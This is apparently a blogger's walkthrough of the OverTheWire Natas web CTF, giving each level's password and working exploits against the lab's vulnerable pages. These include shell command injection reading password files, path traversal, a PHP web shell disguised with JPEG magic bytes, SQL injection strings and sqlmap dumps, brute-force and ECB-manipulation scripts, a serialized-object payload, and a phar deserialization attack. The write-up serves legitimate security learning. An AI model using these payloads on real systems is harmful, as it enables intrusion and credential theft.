If you found my content helpful then please consider supporting me to do even more crazy projects and writeups. Just click the button below to donate.
Natas was the third overthewire CTF I tried (after bandit and leviathan). Overall I found Natas to be a really good web based CTF covering a lot of ground. The challenges are mainly PHP with a sprinkle of Perl towards the end (which is probably less relevant nowadays). The challenges themselves are all within understanding of a beginner to intermediate CTF player except for the last couple challenges which are a bit niche.
Below are my rough notes from playing the Overthewire Natas CTF. Hopefully they will be helpful if you are stuck on this CTF.
You can play this CTF at https://overthewire.org/wargames/natas/
natas 0
View Source view-source:http://natas0.natas.labs.overthewire.org/
natas 1 Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
natas 1
View source again not using right click.
natas 2 password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
natas 2
Image on page shows that there is files directory: Open http://natas2.natas.labs.overthewire.org/files/users.txt
.
natas 3 password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
natas 3
Find on page:
<!-- No more information leaks!! Not even Google will find it this time... -->
Implies that something hidden in robots.txt
Robots.txt:
User-agent: *
Disallow: /s3cr3t/
See http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
natas 4 password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
natas 4
curl --referer "http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org/ -v -u natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
natas5 password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
natas 5
Not Logged In
. Change logged in cookie to True.
natas6 password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
natas 6
View source as suggested. See it includes file includes/secret.inc
. View file using http and viewing source. See token is FOEIUWGHFEEUHOFUOIU
.
natas7 password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
natas 7
Local File Inclusion.
http://natas7.natas.labs.overthewire.org/index.php?page=home.php produces error:
Warning: include(home.php): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21
Warning: include(): Failed opening 'home.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
Using hint in html, password can be included into page using:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
natas8 password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
natas 8
Reverse the code
<?php
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
function decodeSecret($secret) {
return base64_decode(strrev(hex2bin($secret)));
}
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
$decodedSecret = decodeSecret($encodedSecret);
print($decodedSecret);
print("\n");
print(encodeSecret($decodedSecret));
print("\n");
print($encodedSecret);
print("\n");
?>
Get oubWYf2kBq
natas9 password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
natas 9
Doesn’t escape the text before sending to run on shell. Search for a; cat /etc/natas_webpass/natas10; echo
. Returns password.
natas10 password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
natas 10
Blocks the following: ;|&
. Grep still reads files though so can do '' /etc/natas_webpass/natas10
natas11 password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
natas 11
<?php
function xor_encrypt($text,$key) {
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function encryptData($d, $key) {
return base64_encode(xor_encrypt(json_encode($d), $key));
}
$encrypted = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
$encryptedBase64Decode = base64_decode($encrypted);
$data = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$jsonEncode = json_encode($data);
print($jsonEncode);
print("\n");
print($encryptedBase64Decode);
print("\n");
$key = xor_encrypt($jsonEncode, $encryptedBase64Decode);
print($key);
print("\n");
$key = "qw8J";
$testEncrypted = encryptData($data,$key);
print($testEncrypted);
print("\n");
print($encrypted);
print("\n");
$data2 = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$newEncrypted = encryptData($data2,$key);
print($newEncrypted);
print("\n")
?>
Above code finds the key. Then use that to encode showing password. Cookie ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
.
natas12 password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
natas 12
Can upload php file. Extension comes from hidden form parameter. Upload the following file changing hidden parameter to have php extension.
<?php
echo file_get_contents( "/etc/natas_webpass/natas12" );
?>
Click through to view file.
natas13 password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
natas 13
Can get around exif check by embedding required bytes at start of php file.
fh = open('shell.php', 'w')
fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
fh.close()
natas14 password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
natas 14
SQL Injection.
username=" OR 1=1 -- &password=test
natas15 password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
natas 15
Blind Boolean Injection – Use SQLmap as shown below.
Also the manual entry for sqlmap in Kali is limited too. See https://github.com/sqlmapproject/sqlmap/wiki/Usage for full usage information.
./sqlmap.py --delay=0.5 --auth-type=Basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J -u http://natas15.natas.labs.overthewire.org/index.php --method=POST --data "username=natas16" --dbms=mysql -b --technique=B --string="This user exists" --level 5 -D natas15 -T users -C username,password --dump --batch
natas16 password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
natas 16
More filtering. Use subcommand and blind injection.
import requests
from requests.auth import HTTPBasicAuth
import string
import sys
password_array = []
while(True):
found = False
for character in string.letters+string.digits:
sys.stdout.flush()
payload = {
"needle": "$(grep -E ^{}{}.* /etc/natas_webpass/natas17)hello".format("".join(password_array),character)
}
r = requests.get(
'http://natas16.natas.labs.overthewire.org',
params=payload,
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
)
if("hello" in r.text or "Input contains an illegal character!" in r.text):
print("Nope: {}{}".format("".join(password_array), character))
else:
password_array.append(character)
print("Yes: {}".format("".join(password_array)))
found = True
break
if(found == False):
break
print("Password is: {}".format("".join(password_array)))
natas17 password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
natas 17
SQL Injection (Time based)
./sqlmap.py --auth-cred="natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw" --auth-type=BASIC -u 'http://natas17.natas.labs.overthewire.org/index.php' --data "username=natas17" --level 3 --dbms=mysql -p username -D natas17 -T users --dump --batch
natas18 password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
natas 18
Looking at source code they use numbers for session ids. So lets enumerate and hope to find the admin id.
natas19 password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
natas 19
Same as natas18 but session id is encoded as x-admin
in hex.
import requests
from requests.auth import HTTPBasicAuth
import sys
for i in range(1,800):
sessionId = "{}-admin".format(str(i))
cookies = {'PHPSESSID': ''.join(hex(ord(c))[2:] for c in sessionId)}
r = requests.get(
'http://natas19.natas.labs.overthewire.org',
auth=HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'),
cookies=cookies,
)
if(not "regular user" in r.text):
print(r.text)
print("Found: {}".format(i))
sys.stdout.flush()
break
else:
print("Nope: {}".format(i))
sys.stdout.flush()
natas20 password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
natas 20
Looking at code. They encode session using newlines, we exploit this to give us admin permissions:
import requests
from requests.auth import HTTPBasicAuth
import sys
params = {
"debug": True
}
s = requests.session()
r = s.get(
'http://natas20.natas.labs.overthewire.org',
auth=HTTPBasicAuth('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'),
params=params,
)
print(r.text)
print("=============================================")
data = {
"name": "a \nadmin 1"
}
r2 = s.post(
'http://natas20.natas.labs.overthewire.org/index.php',
auth=HTTPBasicAuth('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'),
params=params,
data=data,
)
print(r2.text)
print("=============================================")
r = s.get(
'http://natas20.natas.labs.overthewire.org',
auth=HTTPBasicAuth('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'),
params=params,
)
print(r.text)
natas 21 password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
natas 21
Two websites share sessions. Can use vuln to set admin on 2nd website:
import requests
from requests.auth import HTTPBasicAuth
import sys
params = {
"debug": True
}
s = requests.session()
data = {
"submit": True,
"admin": 1,
}
r = s.post(
'http://natas21-experimenter.natas.labs.overthewire.org/',
auth=HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'),
params=params,
data=data,
)
r2 = s.get(
'http://natas21-experimenter.natas.labs.overthewire.org/',
auth=HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'),
params=params,
)
cookies = s.cookies.get_dict()
print(r2.text)
print("=============================================")
r3 = requests.get(
'http://natas21.natas.labs.overthewire.org/',
auth=HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'),
params=params,
cookies=cookies,
)
print(r3.text)
natas 22 password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
natas 22
Php redirects if not admin. However it still sends full html payload as php doesn’t exit after redirect. Use curl to view.
curl http://natas22.natas.labs.overthewire.org/\?revelio\=true -u natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ -v
natas 23 password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
natas 23
Read the code and visit:
http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou
natas 24 password: OsRmXFguozKpTZZ5X14zNO43379LZveg
natas 24
Issue in strcmp (https://www.php.net/manual/en/function.strcmp.php#108563)
http://natas24.natas.labs.overthewire.org/?passwd[]=%22%22
natas 25 password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
natas 25
Directory traversal attack to obtain log file. Use UserAgent to send php code to log file.
natas 26 password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
natas26
Serialization issue. Use Logger class to write php which reads password.
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo0NDoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvdnVsbjEyMzQ1Njc4OS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czo2NDoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cyggJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3JyApOyA%2FPiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjY0OiI8P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCAnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnICk7ID8%2BIjt9
Interesting point: php urlencodes cookies automatically with setcookie and urldecodes automatically on $_COOKIE. See https://stackoverflow.com/questions/1969232/what-are-allowed-characters-in-cookies/1969339#1969339 for interesting cookie
natas 27 password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
natas27
No SQL injection possible. Obscure mySQL bugs, using VARCHAR 64 limit on username and handling of trailing whitespace in mySQL equals. Can create new user as username: natas28 <64 spaces> t
, password: abc123
. This is inserted into database as username: natas28<57 spaces>
. Select statement ignores trailing whitespace so can login as natas28 with new abc123
password and it prints other users data.
natas28 password: JWwR438wkgTsNKBbcJoowyysdM82YjeF
natas28
Enter crap into http://natas28.natas.labs.overthewire.org/search.php/?query=asdjsdhj. See error Incorrect amount of PKCS#7 padding for blocksize
.
URL Decode query string from a normal search:
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJ13Y0SBabOHMiDNMEMFZsKiW3pCIT4YQixZ/i0rqXXY5FyMgUUg+aORY/QZhZ7MKM=
Reading https://en.wikipedia.org/wiki/PKCS_7, this should start with -----BEGIN PKCS7-----
and -----END PKCS7-----
test.p7b
-----BEGIN PKCS7-----
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJ13Y0SBabOHMiDNMEMFZsKiW3pCIT4YQixZ/i0rqXXY5FyMgUUg+aORY/QZhZ7MKM=
-----END PKCS7-----
Couldn’t extract anything from this. Instead problem is a Electronic Code Book Cipher problem.
Work out that blocksize is 16 bytes. That it’s ECB and that our offset is 2 blocks, 6 bytes. Then apply this strategy:
# Strategy: Fill 3rd block with 10 A's. Fill 4th block with 15 A's and the escape character for the quote.
# Fill blocks 5+ with quote and our SQL injection. Take returned blocks and remove block 4.
import requests
from requests.auth import HTTPBasicAuth
from urllib.parse import unquote, quote
import base64
def chunks(lst, n):
"""Yield successive n-sized chunks from lst."""
for i in range(0, len(lst), n):
yield lst[i:i + n]
def makeReq(search_string):
data = {
"query": search_string,
}
r = requests.post(
'http://natas28.natas.labs.overthewire.org/index.php',
auth=HTTPBasicAuth('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF'),
data=data,
)
code = r.url.replace("http://natas28.natas.labs.overthewire.org/search.php/?query=","")
return base64.b64decode(unquote(code))
def nicePrint(byteString):
return " ".join(chunks(byteString.hex(),32))
for i in range(30):
search = "a"*i
code = makeReq(search)
print("{} \t {}".format(i,nicePrint(code)))
print("10A: \t{}".format(nicePrint(makeReq("a"*10))))
print("10B: \t{}".format(nicePrint(makeReq("b"*10))))
print("12A: \t{}".format(nicePrint(makeReq("a"*12))))
print("11A+': \t{}".format(nicePrint(makeReq("a"*11+"'"))))
print("10A+': \t{}".format(nicePrint(makeReq("a"*10+"'"))))
# At 13 characters a new block is spawned. At 29 characters a new block is spawned => 16 byte blocks
# At 10 characters block 3 stops changing.
# 12A and 12B only block 3 changes
# Using a quote causes another block to spawn so it must be being escaped
# Strategy: Fill 3rd block with 10 A's. Fill 4th block with 15 A's and the escape character for the quote.
# Fill blocks 5+ with quote and our SQL injection. Take returned blocks and remove block 4.
#mysqlHack = "UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS"
#mysqlHack = "UNION (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS)"
mysqlHack = "UNION SELECT password FROM users"
code = makeReq("a"*10 + "a"*15 + "' "+mysqlHack+"; # -- ")
fixedCode = code[0:48]+code[64:]
r= requests.get(
"http://natas28.natas.labs.overthewire.org/search.php/?query="+quote(base64.b64encode(fixedCode)),
auth=HTTPBasicAuth('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF')
)
print(r.status_code)
print(r.text)
natas29 password: airooCaiseiyee8he8xongien9euhe8b
natas29
See it’s doing file inclusion. Confirm with http://natas29.natas.labs.overthewire.org/index.pl?file=./perl+underground. Try usual path directory traversal – doesn’t work. Maybe it’s a system command so try pipes:
http://natas29.natas.labs.overthewire.org/index.pl?file=|%20echo%20a results in a.txt echoing. View source by running http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20index.pl%00. It filters out anything with natas in but it also filters html out so lets add in some quotes in natas: http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20/etc/na%22tas_webpass/nat%22as30%00
natas30 password: wie9iexae0Daihohv8vuu3cei9wahf0e
natas30
Looking at the code we see the perl DBI database connection library and the use of quote(). Googling perl dbi quote injection
comes to this helpful post: https://security.stackexchange.com/a/175872. It shows that using a repeated parameter in our request will allow us to turn quoting off.
We repeat the POST request with the following data: username='abc'+OR+1%3d1+--+&username=4&password=abc123
and get the result natas31hay7aecuungiuKaezuathuk9biin0pu1
. Stripping natas31 from the string results in the password.
natas31 password: hay7aecuungiuKaezuathuk9biin0pu1
natas31
This presentation explains the exploit well https://www.blackhat.com/docs/asia-16/materials/asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf (credit: https://axcheron.github.io/writeups/otw/natas/#natas-31-solution). Send repeated file parameter with first one being the string ARGV. Then add a query parameter /bin/cat%20/etc/natas_webpass/natas32%20|
. Perl will now execute this command. Magic.
natas32 password: no1vohsheCaiv3ieH4em1ahchisainge
natas32
Same as previous task. Just use /bin/ls%20/%20|
to traverse around and then execute /var/www/natas/natas32/getpassword%20|
.
natas33 password: shoogeiGa2yee3de6Aex8uaXeech5eey
natas33
Insecure deserialisation using phar format.
See https://www.php.net/manual/en/book.phar.php#123125. Basically file operations on a phar:// link will cause the metadata object within the phar to be deserialised.
We can control where the file is uploaded to by setting the hidden filename
parameter.
So first we upload our payload:
<?php echo file_get_contents("/etc/natas_webpass/natas34"); ?>
as runme.php
.
Next we create and upload our phar:
<?php
class Executor{
private $filename="runme.php";
private $signature=True;
private $init=False;
}
$object = new Executor();
$phar = new Phar('lemon.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($object);
$phar->stopBuffering();
?>
Upload the output of this as lemon.phar
and upload again as phar://lemon.phar/test.txt
to execute.
The code will be run and give you the password
natas34 password: shu5ouSu6eicielahhae0mohd4ui5uig